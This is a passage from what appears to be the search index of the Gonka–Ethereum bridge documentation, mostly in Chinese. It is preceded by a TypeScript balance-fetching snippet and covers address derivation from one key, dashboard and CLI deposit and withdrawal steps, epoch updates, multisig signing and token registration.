async function getWrappedTokenBalances(nodeUrl: string, walletAddress: string) {\n const response = await fetch(`${nodeUrl}/productscience/inference/inference/wrapped_token_balances/${walletAddress}`);\n const data = await response.json();\n return data?.balances || [];\n}\n\nasync function getIbcBalances(nodeUrl: string, walletAddress: string, ibcDenom: string) {\n const balUrl = `${nodeUrl}/cosmos/bank/v1beta1/balances/${walletAddress}/by_denom?denom=${encodeURIComponent(ibcDenom)}`;\n const response = await fetch(balUrl);\n const data = await response.json();\n return data?.balance?.amount || '0';\n}\n\n// Combine wrapped balances with native GNK token staking balances for unwrap\nconst withdrawableTokens = computed(() => {\n const list = [...wrappedTokenBalances.value]; // Contains both native IBC balances & CW20 wrapped balances\n if (walletAddress.value) {\n const gnkBalance = walletStore.balanceOfStakingToken;\n const gnkAmt = parseFloat(gnkBalance.amount || '0') / 1_000_000_000;\n const hasGnk = list.some(t => t.symbol === 'GNK');\n if (!hasGnk && gnkAmt > 0) {\n list.unshift({\n symbol: 'GNK',\n full_denom: gnkBalance.denom,\n formatted_balance: gnkAmt.toString(),\n decimals: 9,\n isNative: false,\n isGnk: true,\n token_info: {\n chainId: 'ethereum',\n contractAddress: '', // mapped dynamically to bridge contract\n }\n });\n }\n }\n return list;\n});\nWarning
务必先进行小额测试交易。跨链转账是不可逆的，因此在转移大额资金之前，请先发送少量金额，并确认其如期到账。
由 Gonka 共识控制的专用跨链桥智能合约已在以太坊上部署，地址为：
0x972a7a92d92796a98801a8818bcf91f1648f2f68\n这是在进行跨链操作前最需要理解的关键页面。请在首次转账前务必仔细阅读。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ethereum-bridge/addresses-and-keys/#_2", "title": "一个密钥，两个地址", "text": "以太坊（Ethereum）和 Gonka 均使用相同类型的加密密钥（secp256k1 密钥对）。因此，一个私钥可以同时控制两条链上的账户。两条链唯一的区别在于如何将公钥转换为人类可读的地址：
0x...（20 字节，十六进制） keccak256(未压缩公钥) → 取最后 20 字节 Gonka gonka1...（bech32 格式） ripemd160(sha256(压缩公钥)) → 使用 gonka 前缀编码为 bech32 因此，同一个私钥会生成两个外观不同的地址——一个以 0x… 开头，另一个以 gonka1… 开头——但这两个地址都由同一个私钥控制。
当你将代币从以太坊跨链到 Gonka 时，你会将代币发送到桥接合约，并使用你的以太坊私钥签署该交易。Gonka 跨链桥会：
gonka1… 的标准派生方式）。gonka1… 地址。换句话说：包装代币会被发送到由同一公钥生成的 Gonka 地址——该地址由签署以太坊充值交易的同一私钥所控制。要使用这些代币，你必须在 Gonka 链上使用相同的私钥。
反向操作则有所不同：当你从 Gonka 跨回以太坊时，你可以在提现交易中显式指定目标地址；而当你跨到 Gonka 时，你无法选择接收地址——它由你的密钥唯一确定。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ethereum-bridge/addresses-and-keys/#_4", "title": "助记词陷阱（请务必阅读！）", "text": "大多数用户从未直接接触过原始私钥——他们通过助记词（mnemonic）由钱包自动生成密钥。这虽然方便，但在跨链时容易陷入陷阱：
一个助记词并不对应单一密钥。钱包通过 BIP-44 派生路径从助记词生成密钥，而不同区块链使用不同的路径：
m/44'/60'/0'/0/0m/44'/118'/0'/0/0由于路径不同，同一个助记词会为以太坊和 Gonka 生成完全不同的私钥——从而产生两个互不相关的地址。如果你从一个由助记词派生的以太坊账户发起充值，然后查看同一助记词在钱包中生成的 Gonka 账户，这两个账户并非同一个密钥，因此跨链代币会到达一个你的钱包当前未显示的 gonka1… 地址。你仍然控制该地址（可以从同一助记词中使用币种类型 60 派生出以太坊私钥，并在 Gonka 上使用），但需要额外的手动派生步骤。
Danger
不要认为\"相同的助记词 = 两条链上的相同账户\"。跨链桥需要的是在两条链上使用相同的私钥，而不是相同的助记词。使用标准的不同派生路径会导致资金被发送到由你以太坊密钥推导出的 Gonka 地址——而你的 Gonka 钱包因使用不同路径派生，可能无法访问该地址。这并非永久丢失，你仍然可以从同一助记词中派生出原始的以太坊私钥，该私钥即可控制 Gonka 链上的接收账户。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ethereum-bridge/addresses-and-keys/#gonka", "title": "如何获取匹配的 Gonka 地址", "text": "你有两种选择。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ethereum-bridge/addresses-and-keys/#a", "title": "选项 A — 使用仪表盘（推荐）", "text": "Gonka 仪表盘可自动解决密钥派生问题。只需使用你用于跨链的同一个以太坊钱包连接，仪表盘便会自动计算并显示跨链桥将使用的正确 gonka1… 地址，展示你的封装代币余额，并引导完成存款/提现流程。这种方式无需手动处理私钥，也能避免上述助记词派生混乱的问题。
访问仪表盘地址：
https://node1.gonka.ai:8443/dashboard/\n如果你使用命令行操作，请将控制你以太坊账户的完全相同的 secp256k1 私钥（十六进制格式）导入到 Gonka 密钥环中。生成的 gonka1… 地址即为桥接合约铸币的目标地址：
inferenced keys import-hex <key_name> <YOUR_PRIVATE_KEY_HEX>\n\n# 显示派生的 Gonka 地址\ninferenced keys show <key_name> -a\n此处打印的地址正是将接收您跨链代币的 gonka1… 地址，该密钥可为其签署 Gonka 交易（转账、提现等）。
Warning
导入原始私钥会将其暴露于您导入的设备和密钥环中。建议在安全设备上使用基于文件的密钥环（--keyring-backend file），切勿在不受信任的主机上粘贴保护大量以太坊资金的私钥。如有疑问，请使用仪表板（dashboard）。
gonka1… 地址（通过仪表板或 import-hex 命令）。0x… 以太坊地址，并用代币及足够的 ETH（用于支付 Gas）进行充值。gonka1… 地址。Gonka → 以太坊的转账使用当前 Gonka 纪元的 BLS 签名。以太坊跨链桥合约必须先获知当前纪元的群组密钥，才能验证该签名并在以太坊上释放资金。
每个纪元开始时（大约每天一次），Gonka 会生成一个新的群组密钥。通过一笔小额以太坊交易，将该密钥注册到跨链桥合约中。通常这一步骤已经完成，但在纪元切换后的短时间内，跨链桥可能会暂时落后于 Gonka 链。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ethereum-bridge/bridge-epoch-update/#_2", "title": "何时需要此操作", "text": "如果您的 Gonka → 以太坊提现或 WGNK 铸造已准备就绪，但因跨链桥落后于链而导致以太坊端无法执行，您可能需要进行纪元更新。
在仪表板上，此情况可能表现为：
A Bridge needs epoch update\nBridge: Epoch 283 | Chain: Epoch 284 (1 behind)\n\nWithdrawals to Ethereum require the bridge to be synced to the current epoch.\n如果看到此提示，请在仪表板中点击 Update bridge。任何用户都可以提交更新。这是一笔普通的以太坊交易，因此点击按钮的钱包将为此次更新支付一次以太坊 Gas 费。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ethereum-bridge/bridge-epoch-update/#_3", "title": "手动更新", "text": "如果不使用仪表板，请按顺序提交每个缺失的纪元：
latest + 1 开始。curl \"https://node2.gonka.ai:8443/chain-api/productscience/inference/bls/epoch_data/<epochId>\"\ngroup_public_key 和 validation_signature 字段与跨链桥更新脚本一起使用：HARDHAT_NETWORK=mainnet node submit-epoch-public.js \\\n 0x972a7a92d92796a98801a8818bcf91f1648f2f68 \\\n <epochId> \\\n <group_public_key> \\\n <validation_signature>\nNote
跨链桥合约仅接受由前一个纪元密钥签名的下一个顺序纪元密钥。如果跨链桥落后超过一个纪元，请逐个提交缺失的纪元。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ethereum-bridge/dashboard/", "title": "通过看板桥接（UI 指南）", "text": "Warning
务必先进行小额测试交易。跨链转账是不可逆的，因此在转移大额资金之前，请先发送少量金额，并确认其如期到账。
由 Gonka 共识控制的专用跨链桥智能合约已在以太坊上激活，合约地址为：
0x972a7a92d92796a98801a8818bcf91f1648f2f68\n仪表板是最简单的跨链桥接方式。它会自动为您处理密钥派生（参见地址与密钥），因此您无需手动导入私钥或计算地址。
Tip
如果你不熟悉命令行工具（CLI）或不希望手动处理私钥，建议使用仪表板。手动操作的 CLI 流程详见存入 USDT、提取 USDT、存入 GNK 和 提取 GNK。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ethereum-bridge/dashboard/#_1", "title": "仪表板的功能", "text": "gonka1… 地址，即跨链桥将代币发送到的目标地址——这样你始终清楚你的包装代币将到达何处。仪表板支持全套跨链操作，无需使用命令行工具（CLI）：
本节将引导您使用跨链桥组件将代币存入 Gonka。从 Token 下拉菜单中选择代币——组件会自动检测跨链桥类型：
gonka1… 地址。在浏览器中打开任一创世节点：
在左侧边栏中导航到 Developers 部分。您将在页面底部看到带有 WITHDRAW / DEPOSIT 切换按钮的跨链桥组件。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ethereum-bridge/dashboard/#2-keplr", "title": "2. 连接您的 Keplr 钱包", "text": "确认 DEPOSIT 切换按钮已选中。点击 CONNECT WALLET。
弹出对话框将显示可用的钱包选项。选择 KEPLR。
Keplr 显示\"Not Installed\"？
如果看到\"Not Installed\"消息，您需要先安装 Keplr 浏览器扩展。请按照创建 Gonka 账户 → Keplr 浏览器扩展中的说明进行设置，然后返回此处。
如果提示输入 Keplr 密码，请输入。连接成功后，组件将显示 Keplr Connected 及您的 Gonka 地址缩写和 GNK 余额。点击 CONTINUE 继续。
助记词（mnemonic）账户
如果您的 Gonka 账户是通过助记词（mnemonic） 而非原始私钥创建的，跨链桥组件会检测到地址不匹配并发出警告。这是因为以太坊和 Gonka 从同一助记词派生出不同的密钥，因此代币将被发送到与钱包当前显示不同的 gonka1… 地址。资金不会丢失——您可以从同一助记词派生出匹配的密钥——但需要手动派生步骤。如果看到此警告，请停止操作并阅读地址与密钥。
在步骤 2 中，从 Token 下拉菜单中选择您要存入的代币，并输入 Amount（金额）。组件会显示您的当前余额，Receiving address on Gonka 会从您连接的钱包中自动填入。
组件还会显示预计的处理时间和大致费用（费用币种取决于跨链桥类型——参见上方表格）。
ERC-20 (USDC)GNKIBC (USDT)点击 REVIEW & BRIDGE。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ethereum-bridge/dashboard/#4", "title": "4. 确认交易", "text": "您的钱包将打开一个确认交易界面。在批准之前请仔细核对详情：
ERC-20 (USDC)GNKIBC (USDT)0x972a7A92…648f2F68）。这是预期行为——您正在将代币发送至跨链桥，跨链桥随后将在 Gonka 上铸造包装代币。IBC Transfer。点击 Approve 提交交易。
Warning
确认前请仔细核对所有信息。跨链转账不可逆。如有任何异常，请点击 ✕ 取消并重新开始。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ethereum-bridge/dashboard/#5", "title": "5. 充值完成", "text": "组件将显示 Deposit complete 界面，包含操作摘要。
ERC-20 (USDC)GNKIBC (USDT)进度指示器显示：
在此界面您可以：
您可以通过以下方式确认包装代币已到账：
https://node2.gonka.ai:8443/dashboard/gonka/account/<your_gonka_address> 查看余额。包装的 ERC-20 代币（如 wUSDC 和 wUSDT）是 Gonka 链上的 CW-20 代币。Keplr 不会自动检测 CW-20 代币，因此您需要将其作为自定义代币添加。
Note
IBC 代币（通过 IBC 而非以太坊跨链桥转入的）会在 Keplr 中自动显示。以下手动步骤仅适用于跨链桥包装的 CW-20 代币。
步骤 1. 打开您的 Keplr 钱包，点击右上角的菜单图标（三条横线），选择 Manage Asset List。
步骤 2. 点击右上角的 + 按钮添加自定义代币。
步骤 3. 在 Add Custom Token 页面，从链下拉菜单中选择 Gonka。将 CW-20 合约地址粘贴到 Contract Address 字段中。代币元数据（名称、符号、精度）将自动填入。点击 Confirm。
已知合约地址：
代币 Gonka 上的 CW-20 合约地址 USDCgonka1fa83z7np903k9vh63guy82qthtv373d7vjeq0y7xeqh50rzn8vtssffkre USDT gonka15ggwj9un6qrmu4nj5ev6l7kpdcr00td03ff2mmj4cyhl8u8vjd2qnl3hgk 步骤 4. 完成——该代币现在会以 Gonka CW20 代币的形式出现在您的 Keplr 钱包中。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ethereum-bridge/dashboard/#gonka_1", "title": "从 Gonka 提现代币", "text": "本节将引导您使用跨链桥组件从 Gonka 提现代币。从 Token 下拉菜单中选择代币——组件会自动检测跨链桥类型：
在浏览器中打开任一创世节点：
在左侧边栏中导航到 Developers 部分。在跨链桥组件中选择 WITHDRAW 切换按钮。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ethereum-bridge/dashboard/#2-keplr_1", "title": "2. 连接您的 Keplr 钱包", "text": "确认 WITHDRAW 切换按钮已选中。点击 CONNECT WALLET。
弹出对话框将显示可用的钱包选项。选择 KEPLR。
Keplr 显示\"Not Installed\"？
如果看到\"Not Installed\"消息，您需要先安装 Keplr 浏览器扩展。请按照创建 Gonka 账户 → Keplr 浏览器扩展中的说明进行设置，然后返回此处。
如果提示输入 Keplr 密码，请输入。连接成功后，组件将显示 Keplr Connected 及您的 Gonka 地址缩写和 GNK 余额。点击 CONTINUE 继续。
助记词（mnemonic）账户
如果您的 Gonka 账户是通过助记词（mnemonic） 而非原始私钥创建的，跨链桥组件会检测到地址不匹配并发出警告。这是因为以太坊和 Gonka 从同一助记词派生出不同的密钥，因此代币将被释放到与钱包当前显示不同的以太坊地址。资金不会丢失——您可以从同一助记词派生出匹配的密钥——但需要手动派生步骤。如果看到此警告，请停止操作并阅读地址与密钥。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ethereum-bridge/dashboard/#3_1", "title": "3. 选择代币和金额", "text": "在步骤 2 中，从 Token 下拉菜单中选择您要提现的代币，并输入 Amount（金额）。组件会显示您在 Gonka 上的当前余额。Destination Address（目标地址）会从您连接的钱包中自动填入。
Tip
与充值不同，您可以编辑目标地址字段以提现到其他地址。请确保该地址由您控制，并且输入正确。
GNKERC-20 (USDC)IBC (USDT)目标地址为 Kava 链上的 kava1… 地址。处理时间约 1–3 分钟。
点击 REVIEW & BRIDGE。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ethereum-bridge/dashboard/#4-gonka", "title": "4. 确认 Gonka 上的交易", "text": "Keplr 将弹出 Gonka 链上的确认交易窗口。请仔细检查详情后点击 Approve。
GNKERC-20 (USDC)IBC (USDT)MsgRequestBridgeMint，用于在 Gonka 上锁定 GNK 并请求在以太坊上铸造 WGNK。Execute Wasm Contract 调用，执行包装代币的 CW-20 合约中的 withdraw 方法。IBC Transfer。Warning
确认前请仔细核对所有信息。跨链转账不可逆。如有任何异常，请点击 ✕ 取消并重新开始。
对于 ETH / GNK 跨链桥：确认后，进度指示器将标记 Burn tokens on Gonka 为已完成。随后 Gonka 验证者将自动收集和聚合 BLS 签名（Validator signatures 步骤）——此阶段无需您进行任何操作。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ethereum-bridge/dashboard/#5-eth-gnk", "title": "5. 确认以太坊上的释放交易（仅 ETH / GNK 跨链桥）", "text": "Note
此步骤仅适用于 ETH 跨链桥和 GNK 跨链桥提现。对于 IBC 提现，转账在步骤 4 后自动完成——直接跳到步骤 6。
当验证者完成 BLS 聚合签名（Validator signatures — done）后，Keplr 将弹出第二个窗口——这次是在以太坊链上。此交易执行以太坊上的跨链桥合约（0x972a7a92…648f2f68）以释放代币。
点击 Approve 提交释放交易。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ethereum-bridge/dashboard/#6_1", "title": "6. 提现完成", "text": "组件将显示 Withdrawal complete（提现完成）界面，所有阶段均标记为已完成。
GNKERC-20 (USDC)IBC (USDT)进度指示器显示：
在此界面您可以：
您可以通过以下方式确认代币已到账：
Warning
务必先进行小额测试交易。跨链转账是不可逆的，因此在转移大额资金之前，请先发送少量金额，并确认其如期到账。
由 Gonka 共识控制的专用跨链桥智能合约已在以太坊上激活，地址为：
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ethereum-bridge/deposit-gnk/#gnkgonka", "title": "存入 GNK（Gonka → 以太坊）", "text": "在 Gonka 上锁定 GNK，并在您的以太坊地址上收到包装版的 GNK（WGNK）。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ethereum-bridge/deposit-gnk/#a-wgnk", "title": "A) 请求在以太坊上铸造 WGNK", "text": "使用 CLI 提交跨链桥铸造请求：
./inferenced tx inference request-bridge-mint \\\n <amount> \\\n \"0xYourEthereumAddr\" \\\n \"ethereum\" \\\n --destination-bridge-address 0x972a7a92d92796a98801a8818bcf91f1648f2f68 \\\n --from <your_key_name> \\\n --chain-id gonka-mainnet \\\n --gas auto --gas-adjustment 1.5 \\\n -y \\\n --node http://node1.gonka.ai:8000/chain-rpc/\nTip
如果 --gas auto 的估算不准确，请查看返回状态中所需的 Gas 额度，并在命令中显式传递它（例如：--gas 200000）。
...\ntxhash: 12E8ABCA5A35D73042564FDF6D686424F742414EEC172450AB6EDA34BD1F0805\n等待几个区块生成，然后检查状态：
./inferenced query tx 12E8ABCA5A35D73042564FDF6D686424F742414EEC172450AB6EDA34BD1F0805 --node http://node1.gonka.ai:8000/chain-rpc/\n确认 \"code\": 0 并提取 Base64 编码的 request_id：
\"request_id\": \"vSTWiN1pvooxcFoDLzePCEq3x/C5NQ+jFMvfcEozCm4=\"\n将 Base64 编码的 request_id 转换为十六进制格式：
echo \"vSTWiN1pvooxcFoDLzePCEq3x/C5NQ+jFMvfcEozCm4=\" | base64 -d | xxd -p -c 256\nbd24d688dd69be8a31705a032f378f084ab7c7f0b9350fa314cbdf704a330a6e\n使用您的请求 ID 十六进制值查询 BLS 签名 API：
curl \"https://node2.gonka.ai:8443/v1/bls/signatures/<REQUEST_ID_HEX>\" \\\n | jq -r '\n {\n uncompressed_signature_128: .uncompressed_signature_128,\n current_epoch_id: .signing_request.current_epoch_id,\n request_id: .signing_request.request_id\n }\n '\n跨链桥纪元更新
在提交以太坊铸造交易之前，请确保以太坊跨链桥合约已同步到 current_epoch_id。如果仪表板显示 A Bridge needs epoch update 或以太坊执行失败并出现 InvalidEpoch 错误，请按照跨链桥纪元更新操作。
使用 mint-wgnk.js 脚本向以太坊上的跨链桥合约提交铸造命令：
HARDHAT_NETWORK=mainnet node mint-wgnk.js \\\n 0x972a7a92d92796a98801a8818bcf91f1648f2f68 \\\n <current_epoch_id> \\\n <request_id_base64> \\\n <0xYourEthereumAddr> \\\n <amount> \\\n <uncompressed_signature_128>\nWarning
务必先进行小额测试交易。跨链转账是不可逆的，因此在转移大额资金之前，请先发送少量金额，并确认其如期到账。
由 Gonka 共识控制的专用跨链桥智能合约已在以太坊上激活，地址为：
0x972a7a92d92796a98801a8818bcf91f1648f2f68\n如果您想使用已持有 USDT 的现有以太坊地址，请使用相同的私钥生成一个 Gonka 地址。该 Gonka 地址将接收包装后的代币。
如果您想使用现有的 Gonka 地址，请使用相同的私钥生成对应的以太坊地址，向其充值 USDT，并确保该地址有足够的 ETH 用于支付 Gas 费用。
Important
包装代币将发送到由签署此以太坊充值交易的密钥派生的 gonka1… 地址——而不是助记词派生的 Gonka 账户。如果您跳过此步骤，您的资金将到达一个与常用钱包不同的 Gonka 地址——可通过您的以太坊密钥恢复，但不在您预期的位置。详见地址与密钥了解如何推导正确的地址（或使用仪表板）。
向跨链桥合约执行转账操作：
const tx = await usdtContract.transfer(\n \"0x972a7a92d92796a98801a8818bcf91f1648f2f68\", // bridge address\n amountBN // BigNumber amount\n);\nawait tx.wait();\nWarning
包装余额不会立即出现。跨链桥等待充值区块在以太坊上被最终确认（约两个 epoch），因此从以太坊交易被打包到包装余额出现在 Gonka 上，预计需要 15–20 分钟。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ethereum-bridge/deposit-usdt/#b-gonka", "title": "B) 在 Gonka 上检查包装代币的余额", "text": "查询您的 Gonka 地址拥有的包装代币：
curl \"https://node2.gonka.ai:8443/chain-api/productscience/inference/inference/wrapped_token_balances/{gonkaAddress}\"\n{\n \"balances\": [\n {\n \"token_info\": {\n \"chainId\": \"ethereum\",\n \"contractAddress\": \"0xUSDTContractAddress\",\n \"wrappedContractAddress\": \"gonka1CW20WrappedUSDTAddress\"\n },\n \"symbol\": \"USDT\",\n \"balance\": \"100000\",\n \"decimals\": \"6\",\n \"formatted_balance\": \"0.1\"\n }\n ]\n}\n使用上述查询返回的包装 CW-20 代币合约地址 (gonka1CW20WrappedUSDTAddress)：
export WUSDT_CONTRACT=\"gonka1CW20WrappedUSDTAddress\"\n\n./inferenced tx wasm execute $WUSDT_CONTRACT \\\n '{\"transfer\":{\"recipient\":\"gonka1xxxxxxxx...\",\"amount\":\"123456\"}}' \\\n --from <your_key_name> \\\n --chain-id gonka-mainnet \\\n --gas auto --gas-adjustment 1.5 \\\n -y \\\n --node http://node1.gonka.ai:8000/chain-rpc/\n...\ntxhash: 39E3D4B86CF6B0C8952C789F4D73DB9FE27DEA4BD25F3842BE9298C78980A51D\n等待 2-3 个区块生成，然后检查交易状态：
./inferenced query tx 39E3D4B86CF6B0C8952C789F4D73DB9FE27DEA4BD25F3842BE9298C78980A51D --node http://node1.gonka.ai:8000/chain-rpc/\nTip
返回状态中的 \"code\": 0 表示转账成功。 请注意，--gas auto 可能会导致错误的 Gas 估算。如果交易失败，状态响应中会显示实际所需的 Gas 数量。您只需手动指定 Gas 限制并重新尝试即可（例如：--gas 200000）。
本指南面向被选为 Gonka 以太坊桥多签（Multisig）签署人的个人。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ethereum-bridge/multisig-signer-guide/#safe", "title": "什么是 Safe 多签？", "text": "Safe（原 Gnosis Safe）是一种运行在以太坊区块链上的智能合约账户。与普通钱包（仅有一个私钥）不同，多签需要多个授权签署人共同批准交易后才能执行。
在 Gonka 以太坊桥中，Safe 多签用于保护以太坊侧一个受限的管理员角色。该管理员角色仅用于极端恢复场景，例如在 30 天超时期间长时间未收到有效的 BLS 群组密钥更新，或出现 BLS 密钥冲突等情况。在此类情况下，管理员可能有权设置或重置 BLS 群组密钥，因此该角色具有较高的安全敏感性，因为 BLS 密钥最终控制着桥的签名行为。多签机制确保这些罕见的恢复操作不能由单个人完成，必须达到规定数量的签署人共同审核并批准交易后方可执行。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ethereum-bridge/multisig-signer-guide/#1", "title": "1. 前置要求", "text": "在您被添加到多签之前，请确保以下事项已准备就绪：
将您的公开以太坊地址（0x...）发送给多签管理员。请仔细核对每一个字符。切勿发送您的私钥或助记词。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ethereum-bridge/multisig-signer-guide/#_3", "title": "第二步：添加所有者的交易", "text": "当前多签所有者将发起一笔“添加所有者”的交易。该交易需根据当前的签署阈值（例如 2/3）进行签名和执行。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ethereum-bridge/multisig-signer-guide/#safe_1", "title": "第三步：访问 Safe", "text": "当交易在区块链上确认后：
参与者最常见的任务是审查并签署已提议的交易。
如果您是最后一个签署人，或被指定负责完成交易：
Warning
始终先进行小额测试交易。桥接转账不可逆，因此在转移大额资金前，请先发送少量资金并确认其已按预期到达。
由Gonka共识控制的专用桥接智能合约已在以太坊上激活，地址为：
0x972a7a92d92796a98801a8818bcf91f1648f2f68\n在Etherscan上查看桥接合约
此地址也是WGNK代币
桥接合约就是 WGNK ERC-20代币——它们在该地址上是同一个合约，而非两个独立合约。因此，上述Etherscan页面同时代表了桥接和WGNK代币。通过桥接进入Gonka的封装ERC-20代币在Gonka侧表现为CW-20代币；只有WGNK存在于以太坊上，且这就是该合约。
将WGNK添加到您的以太坊钱包
WGNK是标准ERC-20代币，因此您可以在任何支持ERC-20的钱包中将其作为自定义代币添加——例如MetaMask、Trust Wallet、Ledger浏览器扩展等。使用上述桥接合约地址（0x972a7a92d92796a98801a8818bcf91f1648f2f68）作为代币合约地址——它既是桥接合约，也是WGNK代币。
安全审计
该桥接已由CertiK审计。完整报告可在CertiK Skynet页面（Gonka – 以太坊桥接审计与共识和推理审计并列）以及本地副本中获取：CertiK Gonka – 以太坊桥接审计（PDF）。
桥接允许您转移：
ETH以WETH形式桥接
桥接追踪对桥接合约的ERC-20代币转账。原生ETH不是ERC-20，因此要桥接以太币，您需先在以太坊上将其封装为WETH（标准封装以太币ERC-20代币），然后像其他ERC-20代币一样桥接WETH。
任何ERC-20代币均可桥接——无需注册
您可以桥接任何ERC-20代币，即使该代币从未在Gonka上注册过。当存款被识别时，桥接会自动创建封装的CW-20合约并铸造您的余额。通过治理进行注册是可选的，仅添加显示元数据（名称、符号、小数位）和交易资格——无需注册即可转移代币。请注意，未注册时，小数位可能与原始代币不匹配，这是正常现象。在代币注册前，其封装版本可能不反映原始代币的小数位。这属于正常情况，不影响您的余额。详情请参阅注册桥接代币。
两个地址源自同一密钥
Gonka将封装代币发送到由与您以太坊存款签名相同的公钥派生的Gonka地址。如果您以助记词派生以太坊和Gonka密钥，它们通常是不同的密钥，因此这种方式不适用。不要使用助记词派生Gonka地址并假设其与以太坊地址一致，两者派生方式不同。在首次转账前，请阅读地址与密钥。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ethereum-bridge/overview/#_2", "title": "概览", "text": ""}, {"location": "gonka/docs/zh/cross-chain-transfers/ethereum-bridge/overview/#erc-20usdtgonka", "title": "将ERC-20代币（例如USDT）从以太坊封装到Gonka", "text": "Note
注册代币（参见注册桥接代币）是可选的。它不影响代币能否桥接——仅附加元数据，以便钱包和仪表板正确显示名称/符号/小数位，并使其有资格进入链上流动性池。USDT和USDC已预注册。您无需先注册即可桥接和测试任何其他ERC-20代币。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ethereum-bridge/overview/#_3", "title": "解封装 / 提回以太坊", "text": "Note
GNK在以太坊上从未以原生形式存在。在以太坊端，它始终是封装的WGNK ERC-20代币——且该代币就是桥接合约本身（同一地址；桥接合约也是WGNK ERC-20）。“将GNK桥接到以太坊”意味着在Gonka上锁定原生GNK并在以太坊上铸造等量的WGNK。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ethereum-bridge/overview/#wgnkgnk", "title": "将WGNK从以太坊返还为GNK", "text": "桥接器检测ERC-20转账，而非原生ETH转账。要将以太坊转入Gonka：
所有从Gonka转出的操作（提取封装的ERC-20/ETH或铸造WGNK）都通过Gonka验证者集的BLS签名在以太坊上释放。为了让以太坊桥接合约信任该签名，它必须知道当前纪元的群组密钥，而该密钥通过每日签名链获取：
一旦当前纪元的群组密钥被注册，提款就会很快：一个纪元签名可以授权该纪元内发起的任意数量的提款。用户的流程如下：
提款使用当前纪元的群组密钥签名，而桥接合约必须已持有该密钥。在纪元切换后（约每天一次），合约可能短暂滞后，你的释放可能因InvalidEpoch失败，或仪表板显示桥接落后于链。你无需等待：任何人都可以从仪表板或手动推送缺失的密钥更新。参见桥接纪元更新。
转账时间取决于方向：
在Gonka链中断期间
桥接器独立于Gonka区块生产，摄入最终确认的以太坊区块。如果Gonka链暂停，这些以太坊区块（及其包含的存款）可被主机跳过而非排队，直到签名恢复前无法签署提款。如果你在仪表板上看到链被报告为宕机，请等待其恢复正常后再进行桥接。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ethereum-bridge/overview/#vs", "title": "桥接 vs. 交易所", "text": "桥接仅锁定一条链上的资产并在另一条链上释放——它不交换资产。交易发生在独立的合约上：
因此，典型的“在以太坊上出售GNK”流程是：将GNK桥接为WGNK到以太坊，然后在DEX上将WGNK交易为其他代币。
"}, {"location": "gonka/docs/zh/cross-chain-transfers/ethereum-bridge/overview/#vs-ibc", "title": "桥接 vs. IBC", "text": "此桥接直接连接Gonka与以太坊。Gonka还支持IBC以与其他Cosmos链进行转账（参见IBC部分）。
Warning
务必先进行小额测试交易。跨链转账是不可逆的，因此在转移大额资金之前，请先发送少量金额，并确认其如期到账。
由 Gonka 共识控制的专用跨链桥智能合约已在以太坊上激活，地址为：
0x972a7a92d92796a98801a8818bcf91f1648f2f68\n注册是可选的
您不需要注册代币即可进行跨链。任何 ERC-20 代币都可以充值到跨链桥，Gonka 会自动创建其包装的 CW-20 合约并铸造您的余额。注册只是一项便利功能：
未注册的代币仍可正常跨链和转账——只是在注册之前显示为空/默认元数据。USDT 和 USDC 已预先注册。
注册代币会通过治理提案在链上记录其元数据。Gonka 共识使用此元数据来标记包装的 CW-20 代币合约。
由于注册需要经过治理投票，它同时也充当了一个轻量级的验证/防欺诈步骤：社区通过投票来确认某个以太坊合约是否为其声称的真实代币，而非仿冒或无效合约。因此，已注册的代币具有更强的合法性信号（也是流动性池交易的先决条件），而未注册的代币虽然仍可跨链，但不具备此类链上背书。
本节将引导您起草和提交治理提案来注册新的跨链桥代币。
先在测试网上测试
请先在测试网（链 ID sepolia）上注册和测试新代币。只有在端到端验证了跨链和元数据之后，才将代币推广到主网（链 ID ethereum）。额外代币的主网发布计划由治理决定。
在开始之前，您需要获取有关该 ERC-20 代币的以下信息：
\"ethereum\"，Sepolia 测试网为 \"sepolia\"）。0xdAC17F958D2ee523a2206206994597C13D831ec7）。\"Tether USD\"）。\"USDT\"）。6 或 18）。治理模块账户地址充当签署和执行提案的 authority。要在您的节点上查找此地址，请运行：
inferenced query auth module-accounts --node $SEED_URL/chain-rpc/ | grep -B2 'name: gov'\n复制返回的 Cosmos 地址（例如 cosmos1...gov...）。
创建一个名为 register_token_proposal.json 的文件。该提案将在 messages 数组中包含 MsgRegisterTokenMetadata 消息，以注册代币元数据（名称、符号、小数位数）。
{\n \"messages\": [\n {\n \"@type\": \"/inference.inference.MsgRegisterTokenMetadata\",\n \"authority\": \"cosmos1...gov...\", // from step 1\n \"chainId\": \"ethereum\",\n \"contractAddress\": \"0xTokenContractAddressOnEthereum\",\n \"name\": \"Token Name\",\n \"symbol\": \"SYMBOL\",\n \"decimals\": 18,\n \"overwrite\": false\n }\n ],\n \"metadata\": \"ipfs://CID\",\n \"deposit\": \"500000000000ngonka\",\n \"title\": \"Register Wrapped SYMBOL Token Metadata\",\n \"summary\": \"This proposal registers the metadata for the SYMBOL ERC-20 token bridged from Ethereum on the Gonka chain.\"\n}\n请替换：
